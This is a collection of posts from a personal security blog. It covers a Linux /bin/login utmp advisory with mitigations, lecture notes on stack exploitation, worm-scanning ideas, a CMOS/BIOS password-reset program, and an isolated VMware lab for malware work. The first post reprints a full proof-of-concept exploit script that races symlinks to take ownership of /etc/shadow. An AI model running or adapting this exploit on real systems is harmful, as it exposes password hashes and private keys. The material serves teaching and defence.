Cooking With Technology

Arbitrary File Ownership Exploit in Linux

Remember our discussion on viewing computer security as threat mitigation? Well the likely risk of one attack vector being exploited has just increased.

An issue was uncovered in Linux’s /bin/login and utmp being able to change the ownership of arbitrary files upon remote login. The example they discussed was changing /etc/shadow to be readable by a normal user (supposedly for password cracking at the attacker’s leisure), but this could also be used to make accessible ownership of other people’s ssh private keys, view plaintext passwords in daemon configuration files, gain access to applications normally restricted to superusers, and of course do whatever else a creative individual could think of. The current exploit is a proof-of-concept, and thus isn’t all that elegant (nor dangerous). However, that doesn’t mean future iterations of the exploit code won’t be either.

The issue can be easily avoided by updating your Debian system – the Debian security team has released an update which includes a fix for this issue.

For other distributions, there has been no discussion of temporary measures to avoid being vulnerable. My suggestions for temporary protection from the *current* exploit are:

1. Disable external incoming access to port 23 (telnet).
2. Prevent the telnet daemon (telnetd) from running.
3. Don’t give in to any requests to ‘chgrp utmp’ anything (although this isn’t a complete workaround – if an issue allowing escalation of privileges within any utmp owned file is found, you will still be vulnerable without another temporary fix from above)

However, I believe another iteration of this exploit will include using rlogin if telnet fails, as it also uses /bin/login. To avoid being vulnerable to this threat while a patch is released for your distribution, you may also do the following:

1. Disable external incoming access to port 513 (rlogind).
2. Prevent the rlogin daemon (rlogind) from running.
3. Same as 3. from above.

To be complete, below is the proof-of-concept exploit developed by Paul Szabo of the University of Sydney. It was released on December 1, 2008.

#!/bin/bash -

echo '
	#include
	#include
	#include
	#include
	#include
	#include 

	int main(int argc, char *argv[])
	{
	  struct utmp entry;
	  int i;

	  entry.ut_type=LOGIN_PROCESS;
	  strcpy(entry.ut_line,"/tmp/x");
	  entry.ut_time=0;
	  strcpy(entry.ut_user,"badguy");
	  strcpy(entry.ut_host,"badhost");
	  entry.ut_addr=0;
	  for(i=1;i<9;i++) {
	    entry.ut_pid=(pid_t)( i + (int)getpid() );
	    sprintf(entry.ut_id,"bad%d",i);
	    pututline(&entry);
	  }
	}
' > /tmp/fillutmp.c

cc -o /tmp/fillutmp /tmp/fillutmp.c

echo 'Ask someone with group utmp privileges to do:'
echo '  chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
echo -n 'Press [RETURN] to continue... '
read ANS

echo '
	#include 

	int main(int argc, char *argv[])
	{
	  while(1)
	  {
	    unlink("/tmp/x");
	    symlink(argv[1],"/tmp/x");
	    unlink("/tmp/x");
	    symlink(argv[2],"/tmp/x");
	  }
	}
' > /tmp/jigglelnk.c

cc -o /tmp/jigglelnk /tmp/jigglelnk.c

HOST=`hostname` # or simply localhost?
echo "Which tty do you think a 'telnet $HOST' will use next?"
echo "(Do that telnet and see...)"
read TTY
echo "You said it will be '$TTY' ..."

ATK=/etc/debian_version # should be /etc/shadow

echo "Starting symlink re-jiggler ..."
/tmp/jigglelnk $TTY $ATK &
JIG=$!

LOOP=0
while :; do
  ((LOOP = $LOOP + 1))
  echo; echo; echo "Try = $LOOP"

  /tmp/fillutmp

  echo "Telnetting... if login succeeds, just exit for next try..."
  /usr/bin/telnet $HOST

  LS=`ls -ld $ATK`
  case "$LS" in
    *root*root* ) ;; # not done yet...
    * )
      echo; echo
      echo "Success after $LOOP tries!"
      echo "$LS"
      echo; echo
      break
    ;;
  esac
done

kill $JIG
rm /tmp/fillutmp /tmp/jigglelnk /tmp/x

# ...
# ~$ logout
# Connection closed by foreign host.
# Success after 12 tries!
# -rw------- 1 psz tty 4 Oct 28  2006 /etc/debian_version

Stay secure!

Secure Enough: Or Security as Threat Mitigation

My “Why I Don’t Use Antivirus” post has been receiving a recent surge of traffic, and with it, new commentors who open my eyes to how other people think. The result of my reading these comments is the conclusion that people view practices as either “secure” or “insecure,” while leaving little room in between the camps.

In this post, I’m going to introduce a concept that is hardly new, but needs more attention:

Secure Enough: The point in which the impact of an unmitigated risk is less than the effort to mitigate the risk.

Defensive computer security is not a game you can win. All it takes is one unacceptable compromise for you to lose, while offensive computer security plays with polar rules. What changes from person to person however is the definition of “unacceptable compromise.” For a home machine, it may be an attacker gaining access to information that would leave an individual financially vulnerable. For a business, it is definitely related to the goals of the business and the damage a compromise could inflict.

Because of this, every entity’s security model is going to be different, but they (should) all start with an analysis of resources and the priority with which they should be protected. Then, and only then, should layers of security be applied to a system. The reason for this?

Security applied without cause increases complexity of a system with no added benefit. [1]

Breaking it down, the steps to deciding how to secure a system are as follows:

1. Quantify the resources of a system (not forgetting privacy, damage to community, and other frequently overlooked aspects of a compromise)
2. Determine the importance of defending each resource (including cost to repair, replace, and contain the results of an attack in man hour, intellectual property, and dollar cost)
3. Determine the risk tolerance for each resource identified, independent of cost (with 0 meaning much risk tolerance, and arbitrarily high numbers conveying increasingly less risk tolerance, for the sake of this article)
4. Determine the cost of defending each resource (using the same criteria as #2, in addition to including cost to maintain the security measure)

I won’t go further into describing how to do the analysis, because every entity is going to be different with every facet. Regardless, once the three steps have been performed, deciding which security layers to apply is the result of an expression like the following: [2]

if: (importance of resource + cost of resource) * risk tolerance > (cost of implementing security measure)

then: Defend resource using security measure identified

else: Analyze less costly alternatives for defending resource, defend with blanket defense, or ignore additional defense for this resource completely

This trivially says that if the resource is important, valuable, and you cannot risk an attack on it, it will be beneficial to mitigate any risk of that resource being compromised. Alternatively, if the resource is not important, not valuable, and you can tolerate the risk of it being compromised, it may not be worth the effort to mitigate the potential security threat. Points in between become a balance of cost of and risk tolerance versus the cost of implementing a security layer to protect the resource.

This method of securing a system obviously leaves security threats that are not directly mitigated. But the idea is not to get perfect security coverage, it is to adequately cover the resources that are worth defending. Or, in other words, the goal is to be Secure Enough.

[1] Okay, maybe there is *some* benefit, but because the security layer was applied without direct cause, the potential benefit will only be realized on accident – but regardless increases the complexity of a system.

[2] I made this expression up, it is only given to convey the relationship between the involved metrics.

Why I Don’t Use Antivirus

I haven’t used antivirus for near five years now, and yes, even on my Windows hosts. According to the popular opinion of the Internet, my Windows machines should now be zombies supporting the botnet efforts of Russian organized crime – but they aren’t. The reason for this is, and I am going to make a bold statement here, is I am just as secure without antivirus software as I would be with it. Now that you all know where I’m heading, I’ll explain why it is true for me, and why it is probably true for you too.

The secret lies in the reasons people would have you believe you need antivirus software. Obviously the reason is to prevent and clean infections, but the effectiveness of these tasks is dependent on the signatures created for the software. To give a rough outline, the process goes like this:

1. Virus is coded and released
2. Antivirus labs obtain a sample of the virus
3. Labs reverse engineer and create signature for the virus
4. Signatures are downloaded by your AV software to be able to detect and clean the virus

Ignoring heuristic scanning for a second, note that between events one and four you are vulnerable to the virus that was released. The amount of time it takes for AV labs to release a signature for a virus varies, but in that time you are unprotected from it. That means that your signature based virus detection and cleaning system is effective only for attacks that have been around for a bit.

With heuristic scanning, there is a chance that it will pick up new viruses that don’t yet have signatures. This is fairly effective for trivial viruses that repeat methods used by other viruses, but poses no resistance to viruses using new techniques, engines for encrypting malicious code, or polymorphic engines. Unfortunately for Joe Public, the damaging viruses are the advanced ones – heuristic scanning is only going to prevent you from doing something really silly (like opening that screen saver someone sent you in an e-mail).

Viruses aren’t even that dangerous. I’m sure I’ll catch some flak for this statement, but they are generally contracted by user ignorance or idiocy. Viruses by definition require user interaction to propagate, which means that if you are infected with a virus, it is because you did something to contract it. Worms are a different story, they can infect you without your participating in the event. However, antivirus is completely ineffective in blocking the initial wave of worm infections (even with heuristic scanning) anyway, which is the same time you are most likely to come in contact with the worm. If you don’t do anything to contract viruses, you don’t have to worry about them.

So say I am a discerning user who doesn’t open shifty attachments or download warez executables (ie, I in general know what I am interacting with) – what is my risk of contracting a virus with antivirus? Slim to nil. And without antivirus? Slim to nil, because I don’t open the attack vector required to be infected by viruses. And say I contract a virus using a new attack vector that catches me off guard because it uses some new technique – what is my risk now? Antivirus wouldn’t catch it even using heuristic scanning because it is using new techniques, so it doesn’t matter whether it is installed or not. My risk hasn’t increased because my machine lacks antivirus software.

This plays out practically, too. In my five years of not running antivirus software on a Windows box that I keep patched and behind a router with NAT (which is the new default setup for many families), I have not contracted a single virus nor been hit by a single worm. This isn’t something I’m bragging about – it is just a fact that defies the common notion that antivirus is a necessity, especially on Windows boxes.

If you don’t keep your machine patched, your company policy requires it, or you are gullible, you should probably have antivirus software – your risk will decrease by having it there. If you are security conscious, aware, and scrupulous, you can save your system resources and some money by ditching your antivirus software – you are no more secure with it than you would be without it.

Barcamp Recap

Barcamp Rochester 3 was Saturday, and it turned out to be an *amazing* event. The idea behind Barcamp is that it is an informal conference where there are no spectators, only participants. This means that everyone who attends gives a talk on something, ranging from programming languages to intellectual property to enacting political change through technology.

The talks ran from 10:00am to 10:00pm in three separate rooms, and given that multiple talks were going on at the same time it was impossible to see everything. I did attend Google employee Jordan Sissel’s “cool stuff I’ve worked on” presentation, jquery creator John Resig’s jquery presentation, frequency ninja Andrew Potter’s wireless and spectrum lecture, and a round-table discussion on politics. Needless to say, it was a very full day.

I personally gave an hour lecture on the same material as my most recent Society of Lectors lecture, covering hacking through exploitation and shellcode. The turnout for my talk was great, and for anyone who attended that is now reading this, thanks for being part of such a great audience! I really enjoy giving this lecture – I get excited about the topic, and it is great to see other people getting excited about it too. The questions at the end are always my favorite part, and given more time, I could have talked forever about some of the topics that were brought up because of them.

The biggest event of the day for me was a talk on how we can use technology to inform people, with a special focus on the US political system. It started as a round table discussion led by Remy D of the NYPIRG and James Turk of the Sunlight Foundation labs, with Dave, Heewa, and myself attending. It moved from ideas to implementable actions, and while I entered the discussion skeptic, I left with the feeling that it is possible for individuals to make a difference in a system that is much larger than themselves. I hope to engage in future work that will spread the same kind of hope to other individuals, because the opportunity exists to shake the popular apathy for our communities – and knowing it is somehow comforting.

On top of everything else, I’m helping Dave and Heewa with the One Laptop Per Child program at RIT. The organization is sound, and their ideas are worth pushing forward. I’m particularly interested in the mesh networking capabilities of the XO laptop, and my contributions will most likely be related to software that takes advantage of it. The reason I’m bringing this up in a post on Barcamp is because Dave and Heewa gave a couple talks on the initiative and their plans for it at RIT, and having finally obtained an XO laptop, I got to play with it! John Resig also had one, so we messed around with chat and video feeds. It was pretty cool, even though the size of the XO makes it kind of difficult to work with.

The event overall is just something you have to experience. There is nothing quite like a gathering of a bunch of smart people talking about what interests them. With few exceptions, everyone is really friendly and down to earth, which makes it really easy to just focus on the goal of the day: to share ideas, meet new people, and leave just a bit better than you were when you came.

Here’s looking forward to Barcamp Rochester 4!

Hacking: Lecture Two Follow-up

Yesterday I gave the second lecture in my “hacking” series. We’ve progressed beyond general descriptions and terminology and moved into the technical aspects of the stack, vulnerable code, and crafting exploits. The lecture ran about 45 minutes, and was accompanied by a live demonstration of exploiting vulnerable code.

For those that came late or missed it, the slides are available here (pdf format), although once again the real content was in the accompanying talk.

The demonstration used three source files. The shellcode was written by BreeZe of binbash.org, while the other two are my own. They are:

• The vulnerable sample program
• The shellcode
• The exploit code

Running the Exploit

First, I only tested the exploit running on Debian Linux, running a 2.6.23 kernel on a 32bit x86 machine. It probably won’t work on Windows or a Mac, and it definitely won’t run on your SPARC.

Second, I used version 3.3 of gcc’s compiler. Newer versions contain checks to make stack smashing harder, but 3.3 is free of any of these security features. You’ll have to use it when compiling these, which can be done by issuing gcc-3.3 -o <name> <name.c>, like:
gcc-3.3 -o exploit exploit.c

Third, Linux kernels after 2.6.12 do virtual address space randomization, which will prevent the exploit from running successfully after being compiled. To disable this, issue (as root):
sysctl -w kernel.randomize_va_space = 0

Fourth and finally, if you want to trigger a core dump in the vuln program, you have to lift any restrictions on dumping core files. Something like the following should work:
ulimit -c 100000

Note that the shellcode file is superfluous, I only included it as an example and guide.

Next Time

At this point, I’m not sure what I’ll be covering next week. There is a lot I could do – writing shellcode, showcase more advanced shellcode, demonstrate gaining a remote shell (remote exploitation is a whole other beast), secure coding, polymorphic and self-modifying shellcode… there are a lot of topics, and only one lecture left before the end of the series.

Regardless, it will be fun, and we’ll all learn a hell of a lot.

I’ll be at Barcamp Rochester 3 this Saturday in GCCIS, and more likely than not I’ll be talking about anything and everything computer security. If you have any questions anything or find something I’ve said interesting, hit me up! I’m friendly, and always up for talking about computer security :)

Intelligent Port Scanning

When targeting an individual host, the first step most attackers take is to scan and probe the system in order to gather information about it. Most generally this means scanning the system with nmap, determining open ports to find what the machine is serving, identifying the version of each service available, and then attacking the vulnerable ones.

The game changes when the attacks are automated, such as when they originate from a worm. Worms rely on only a select number of attack vectors, and without being artificially intelligent, are not capable of identifying and attacking new vulnerabilities. This means that when a worm scans, it is probing machines to determine whether they susceptible to a specific set of attacks.

But scanning is hard. It is slow. With the 2^32 addresses that exist within the IPV4 space alone, scanning with only one host can take an incredible amount of time. IPV6 is even worse. With a 64 bit address space and thus 2^64 addresses, the conventional means of scanning are extremely inefficient – a fact the IETF is well aware of. So now attackers and worm writers are faced with a new problem: how can we make this process faster?

I have an idea for a solution, and a proof-of-concept in the works to demonstrate it. Why not use IANA themselves to help? My solution involves not increasing the speed of the actual scanning, but by increasing the intelligence with which hosts are chosen to be scanned. The allocated IP blocks are published by IANA and made publicly available. Take a look at it: 41 /8 blocks are unallocated and 36 are reserved, dropping our problem space down by 77 /8 blocks. If the scanner was particularly stupid and was previously scanning the full range of IPs, this would result in 1,296,908,325 less addresses to scan, increasing our theoretical speed for a complete scan by 30%. When you are talking performance in computer science, a 30% speed increase is a big deal, and to a worm author, that relates directly to faster propagation.

The improvements are even more drastic for IPV6. Blocks of IPs cost money, so they won’t be snatched up immediately. Scanning only the allocated blocks of IPs means that the 64 bit problem space becomes less ominous. If we consider that the transition to IPV6 will occur when most addresses in the IPV4 space are used, then intelligently scanning only those addresses results in a 1.84×10^19 reduction in hosts to scan.

The long and short of it is that scanning isn’t likely to get much faster, but intelligently choosing what is scanned can produce real results that only lose effectiveness as the number of actual hosts increases. I’ll post a POC in some time that will showcase this methodology, so keep your eyes locked ;)

Hacking: Lecture One Follow-up

On Tuesday I gave the first of a series of lectures following the “hacking” track. I’m staying far, far away from an IT perspective – I’m not teaching nmap or how to use wireshark, nor am I discussing web vulnerabilities. No – I strive for a higher path, focusing the audience on dodging the skiddie [1] bullet and pointing them toward the real stuff. The talk went well, the audience was very engaged, asked great questions, and had good ideas when I asked for them. 98% of the content was in the talk, but as promised, the slides are now available for your viewing pleasure.

View the presentation here (Google docs, no download necessary).

There are varying requests for where to go next in the series. I had originally planned on gradually introducing more complex topics over a set of three lectures, hence the very general nature of the first. However, the group that came seems more interested in jumping directly to application, requesting a live demo of an exploit and accompanied explanation. When this idea was first presented I was a little hesitant – I was hoping to give people the knowledge necessary to be a jumping point, this is a little more direct. While it will take a lot more preparation, I think I’m going to end up using a demonstration to fuel my next lecture, conflating theory and practice.

A couple questions were asked that I think deserve more attention than I could give them on Tuesday:

Q: Are people who use Gentoo and compile everything more secure than someone who uses prepackaged binaries?

A: Absolutely not. The argument provided in conjunction with the question was that some compiler flags may change the layout of the program in memory, thus making new exploits developed for common versions of programs ineffective against the customized versions. Yes, there are a number of cases where this may be true, but that number is likely negligible. Compilers modify logic, unroll loops, and handle other things that have to do with instructions – rarely do they modify data, which is what we care about in the track we are following. Because the stack isn’t modified so heavily that the vulnerable components are removed, a bigger NOP [2] sled is often all that is required to have the same exploit work on your optimized code.

There are exceptions to this, but not in optimization flags. Introducing canaries is an option that is available to use when compiling with certain versions of GCC [3]. Canaries are simply two modifications: the first is introducing a random integer to a variable that gets placed between the rest of the stack frame’s variables and return address, and the second is a simple conditional that checks the value of that number. If the number is overwritten by whatever data we used in overwriting the return address of the stack frame, the conditional check will fail, and the program will exit with an error indicating a failed canary check (usually a reason for an admin to show concern). This is the only current compiler flag option I know of that will stop non-specialized exploits from delivering their payloads to your box.

More important however is the need to address the question’s ignorance. The short and correct answer to the question is “no, in fact you are less secure.” Feeling invulnerable is the most dangerous thing you can do for the security of your systems. It doesn’t matter how your binaries are obtained and compiled – if a vulnerability exists for the version of the program you are using, you are vulnerable. Your intermediate steps may have bought you time, but feeling safe causes complacency, and the second you feel complacent is the same second the security of your system is philosophically compromised.

Q: Isn’t it true that operating systems are running most programs in ring0?

A: No; in fact, the opposite is true. The full question was posed using language and concepts that hadn’t been introduced yet, so for those that were just being introduced to the field it was a bit foreign. Ring0 and Ring1 respectively refer to kernel and user space, which are concepts in operating system design that separate the operating system’s running components from programs the user runs. Without a separation, a user would have the ability to modify the kernel’s components which is a Bad Thing ™.

From the definition above, it should be obvious why the answer to the question is no. It is true that all programs make calls to kernel space functions exposed through an operating system’s API, but at no point does the user’s program enter the kernel itself to execute code. This was not always the case, but it has been for the last several years, and the separation only grows more defined with each new generation of operating systems. Note that there are ways to get code running in kernel space through drivers or kernel hooking (check out rootkits if this line of research interests you), but it requires some trickery and administrative access on the machine – no normal program does it.

And with that, I’ll close. The next couple days will be spent in part preparing the next lecture in the series, where we’ll see a demonstration, some actual shellcode, and a dive into further understanding memory and the mindset of the innovative hackers that develop these techniques.

[1] Script kiddie, a wanna-be hacker that uses the tools and work of others without producing anything of their own.

[2] No operation. Just burns a CPU cycle and increments EIP, the pointer that tells the processor which instruction to execute next.

[3] The GNU C compiler.

An Introduction to Shellcode

More updates for the Society of Lectors!

The next group of lectures is occurring tomorrow, Tuesday March 24th, 2008 in the first floor auditorium (room 1400) of GCCIS (building 70) at RIT. We are meeting at 8:00PM, and this new day and time has been settled on for the near future.

The reason I’m especially excited about tomorrow is that I am lecturing! I’ve been given the go-ahead to give a series of lectures on shellcode, a fairly heady computer security topic that is never taught in classes. Part one of the series is a very general, non-technical overview and topic introduction that is accessible to those of all backgrounds. After building a solid base of understanding, we’ll really dive into things with later lectures. Afterward, I’ll post the slides here and to the Society of Lectors group, as well as publish a corollary technical component for those that didn’t have their appetites whetted by the presentation. My blurb:

Computer hackers continue to be the bane of the networked computer – but have you ever wondered exactly how they strike? In part one of this series, we will dive into a very accessible view of how they gain control of computers they do not possess.

Heewa Barfchin is also presenting on neural networks from biological and computer model perspectives. Tomorrow should be great!

Reset BIOS Passwords – An Explanation and Tool

I’ve been seeing a lot of sites throwing around a “how to reset BIOS passwords” tip that revolve around using the DOS/Windows DEBUG tool. In case you haven’t seen it, it goes a little like this:

1. Create a boot floppy/disc with the debug tool on it
2. Type -o 70 2e
3. Type -o 71 FF
4. Type quit
5. Reboot

Curious as to why this works? So was I, but none of the sites I saw included an explanation. So after some googling, I uncovered the nitty-gritty details.

The CMOS memory is actually accessible to the user for reading and writing. I’m not aware of a recent operating system that doesn’t restrict write access to the administrator/super user, but it is there nontheless. It contains a lot of information, such as the system time (direct access to the real-time clock), BIOS information, and CMOS data. With this knowledge, I would suggest taking a look at this link, which is a reference to how the CMOS memory is laid out. It is what I used to determine what the hex values being output were doing.

The -o option of debug just outputs a value to an io port. The CMOS memory is accessed through ports 70 and 71, which explains the first parameter of the steps above. The second part can be seen from the CMOS reference I linked to above – by latching the address 0×2e for writing, and then setting its value to 0xff, we are manually telling the CMOS that it has an invalid checksum. The behavior when this occurs is to revert to the default BIOS, a feature which is supported independent of operating system or processor architecture – ie, any AT/ATX motherboard will do this.

None of the sites list instructions for if you are a Linux user, and assume you’ll have access to the debug program. So, now understanding how this specific utilization of debug worked, I wrote my own version in C. It can be compiled using gcc, and is compatible with all *nix distributions – so add it to your rescue LiveCD toolkit, you never know when you’ll need it :)

Here is the source:

resetBIOS.c

#include <stdio.h >
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>

/* Written by Robert Peaslee - www.robertpeaslee.com */
/* compile: gcc -o resetBIOS resetBIOS.c */
/* Run as superuser. */

int main() {

  /* Allow writing to ports 70 and 71  */
  if( ioperm(0x70, 1, 1) || ioperm(0x71, 1, 1) ) {
    perror("Error setting write permissions");
    printf("\n");
    exit(1);
  }

  /* output 0x2e to port 70, which is the address where the
   * CMOS checksum is stored */
  outb(0x2e, 0x70);
  /* Small sleep to allow the changes to take effect. */
  usleep(100000);
  /* Tell the CMOS that the checksum is bad, forcing it to
   * load the default BIOS on reboot. */
  outb(0xff, 0x71);

  /* Reset the port permissions to not be writeable */
  if( ioperm(0x70, 3, 0)) {
    perror("Error restoring permissions");
    printf("\n");
    exit(2);
  }

  exit(0);

}

And if you only want the assembly specific portions without relying on external libraries:

out 70, 0x2e
out 71, 0xff

…but note you’ll have to add your own data/text sections and a main: entry point if you want to actually assemble it. Additionally, you’ll have to convert this to at&t syntax if you want to inline it in C code using the gcc compiler.

So there you have it – a full explanation of why it works, an example in C, and a complete reference of the layout of CMOS memory. If you still have questions, leave them in the comments!

Howto: Virtual Isolated Network Using VMWare

I enjoy computer security. There aren’t a lot of opportunities to study it formally within computer science, so my education in this field is entirely from what I read and practice in my own time.

Most recently, I’ve been feeling the itch to write a worm. The idea is attractive because a worm can be developed modularly with reusable components. Each individual component will increase my knowledge substantially in a different area of security, making the development a measurable goal with incremental positive feedback.

However, before development could begin, I wanted to ensure that I wouldn’t end up in court for an accidental release of one of the components gone awry. I love virtual machines as a tool to aid in the development process, so the solution was immediately obvious – create a multi-host virtual network that is isolated from the world. Further, I wanted each machine on this isolated network to occasionally be able to access the Internet to retrieve updates or tools, so the isolation needed to be complete but /controllable./ The final requirements of the virtual network ended up looking like this:

• Isolated network except when explicitly given access to the Internet
• Multiple hosts with different operating systems
• Must be able to easily add and remove hosts
• All hosts on the network must both default and fail to isolation

The way to implement this using VMWare Workstation (and I’m sure other products in their virtualization line) is to utilize teams. Teams are a ‘wrapper’ of a sort that encompass multiple VMs with additional configuration. When you start a team, each virtual machine included in the team’s configuration is also started. The team can be configured to also provide a virtual network segment for the virtual machines to use, which when paired with each VM in the team being configured with ‘host only’ network access, results in a virtual isolated network.

The team doesn’t provide DHCP though, which means the network has to be maintained with static address and modifications to each machine’s host file. This hardly met my requirement for easily adding and removing hosts from the network. Creating a host that would act as the network server fulfills this requirement, and will also facilitate network control access. As we continue on, please note that I’m using Debian Linux with a 2.6.x kernel, and all of the commands I give below and edits to configuration files *must be done as a superuser.*

Enough setup: time for implementation. To speed the process, I created two base images, one Windows XP SP2 install, and one Debian Lenny netinstall with a 2.6.x kernel. Each image was updated to include the latest patches, user accounts were created, and standard tools were installed. Once these base images were created, they were set aside to never be modified. Clones of the base images are created for each of the expendable hosts, and one clone of the Debian base image was used as the only ‘permanent’ member of the team. All members of the team share one virtual network segment, and have one interface. The only exception to this is the network server VM, which is dual-homed to be connected to both the virtual network and the Internet via NAT.

All hosts default to DHCP, so cloned images have no need for additional configuration when added. The network server is the only machine that had be set up specially. The bind9 and dhcp3-server packages were obtained (for DNS and DHCP, respectively) using Debian’s awesome package manager:

apt-get install bind9 dhcp3-server

Configuring bind is trivial, it defaults to forwarding DNS requests, so nothing is required as far as configuration unless you want to. dhcpd, provided by dhcp3-server, is a little more complicated. First, the interface connected to the isolated network must be set up to have a static address in the subnet in which you will be offering IP addresses, like 10.10.10.1 for the 10.10.10.x subnet or 192.168.30.1 for the 192.168.x.x subnet. It would be wise to modify your interface configuration to make this change survive rebooting.

/etc/network/interfaces:

auto lo eth0 ethiface lo inet loopback

iface eth0 inet static
 	address 10.10.10.1
 	netmask 255.255.255.0iface eth1 inet dhcp

The external interface is eth1, and is configured with DHCP since it is NAT routed. The internal interface is eth0, and is given an ip of 10.10.10.1 with a subnet mask of 255.255.255.0. (This means that the last quartet of the IP address is variable and available for use.) Next comes the configuration for dhcpd:

/etc/dhcp3/dhcpd.conf:

default-lease-time 600;max-lease-time 7200;
authoritative;option domain-name-servers 10.10.1.1 192.168.30.1

subnet 10.10.10.0 netmask 255.255.255.0 {
 range 10.10.10.2 10.10.10.254;
 option routers 10.10.10.1;
 option ip-forwarding off;
 option broadcast address 10.10.10.255;
 option subnet-mask 255.255.255.0;
}

Here we are saying that the subnet is 10.10.10.*, and that we will assign addresses from 10.10.10.2 – 10.10.10.254. The other options should be self-explanatory – read up on networking if you have questions. As it stands, when the interfaces are brought down and back up and dhcpd is started, addresses will be assigned to all virtual machines sharing that network segment. If this is all you want, just issue:

ifdown eth1 eth0
ifup eth1 eth0
/etc/init.d/dhcpd3-server start

And you are done! The machine now will serve DHCP to the isolated subnet, while maintaining separate access for itself to the Internet.

However, if you want to continue on to enable Internet access for other hosts on the isolated network, we still have some work to do.

My solution for this involves iptables and masquerading. Before we do anything, we’ll need to enable IP forwarding. This can be done in multiple ways, but the most reliable for me has been the following simple command:

echo 1 > /proc/sys/net/ipv4/ip_forward

With IP forwarding enabled, we can now utilize the masquerading features of iptables, the Linux firewall. By creating rules that will take packets coming in from our internal network’s interface and sending them out on our external interface, in addition to creating a complementing rule that will accept return packets coming in from the external interface headed for the isolated host, we can accomplish this. The individual rules for my setup are:

iptables -t nat -A POSTROUTING -s  -o eth1 -j MASQUERADE
iptables -A FORWARD -d  -i eth0 -j ACCEPT

Since these are annoying to have to type in each time I want to enable access for a host, I wrote a set of scripts. The first two enable and disable access for a host or multiple hosts respectively. The third script is my emergency “oh crap” failsafe, with which a simple command I can disable all isolated hosts’s access immediately followed by bringing down the network server’s interfaces for complete assurance that whatever is going on won’t get out of the virtual network. Here they are:

enableInternet.sh

#!/bin/bash
if [ $UID -ne 0 ]; then
        echo
        echo "Must be root to run this program."
        echo
        exit 1
fi

if [[ -z $* ]]; then
        echo
        echo "  Usage: ./enableInternet.sh <ipaddress [ipaddress2...ipaddressN]>"
        echo
        exit 1
fi

for ip in $@; do
        # Will match an address of type 10.10.1.2, which matches our subnet
        # definition
        check=`echo $ip | grep -E "^([[:digit:]]{2}[.]){2}[[:digit:]][.][[:digit:]]+$"`
        # If it doesn't match, print a warning and skip it
        if [ -z $check ]; then
                echo "Improperly formatted address $ip, skipping..."
                continue
        fi

        # Enable Internet access for the address
        iptables -t nat -A POSTROUTING -s $ip -o eth1 -j MASQUERADE
        iptables -A FORWARD -d $ip -i eth0 -j ACCEPT
        echo "$ip's internet access enabled..."

done

echo "Done."

blockInternet.sh

#!/bin/bash
if [ $UID -ne 0 ]; then
        echo
        echo "Must be root to run this program."
        echo
        exit 1
fi

if [[ -z $* ]]; then
        echo
        echo "  Usage: ./blockInternet.sh <ipaddress [ipaddress2...ipaddressN]>"
        echo
        exit 1
fi

for ip in $@; do
        # Will match an address of type 10.10.1.2, which matches our subnet definition
        check=`echo $ip | grep -E "^([[:digit:]]{2}[.]){2}[[:digit:]][.][[:digit:]]+$"`
        # If it doesn't match, print a warning and skip it
        if [ -z $check ]; then
                echo "Improperly formatted address $ip, skipping..."
                continue
        fi

        # Disable Internet access for the address
        iptables -t nat -D POSTROUTING -s $ip -o eth1 -j MASQUERADE
        iptables -D FORWARD -d $ip -i eth0 -j ACCEPT
        echo "$ip's internet access disabled..."
done

echo "Done."

blockAll.sh

#!/bin/bash
if [ $UID -ne 0 ]; then
        echo
        echo "Must be root to run this program."
        echo
        exit 1
fi

echo "Disabling Internet access for all hosts on 10.10.1.0/255.255.255.0..."

iptables --flush
iptables --delete-chain
iptables -t nat --flush
iptables -t nat --delete-chain
ifdown eth0 eth1

echo "Done."

I alias’d all the commands in my shell’s configuration scripts and prefixed them with sudo so they may be executed quickly and from anywhere on the system. If you’ve read this far, you should too – at least for the blockAll script. You don’t want to be fumbling around trying to remember where you put the script when you need complete isolation 30 seconds ago :)

I know this post was long, but there was a lot to cover. With this setup, hosts can now be easily added thanks to DHCP, Internet access is manually granted and defaults to none, and the environment is completely homogeneous. Perfect for worm development, malware analysis, or what have you. If you replicate this environment, let me know how it works out for you and what improvements you make. I’m always interested in making better systems!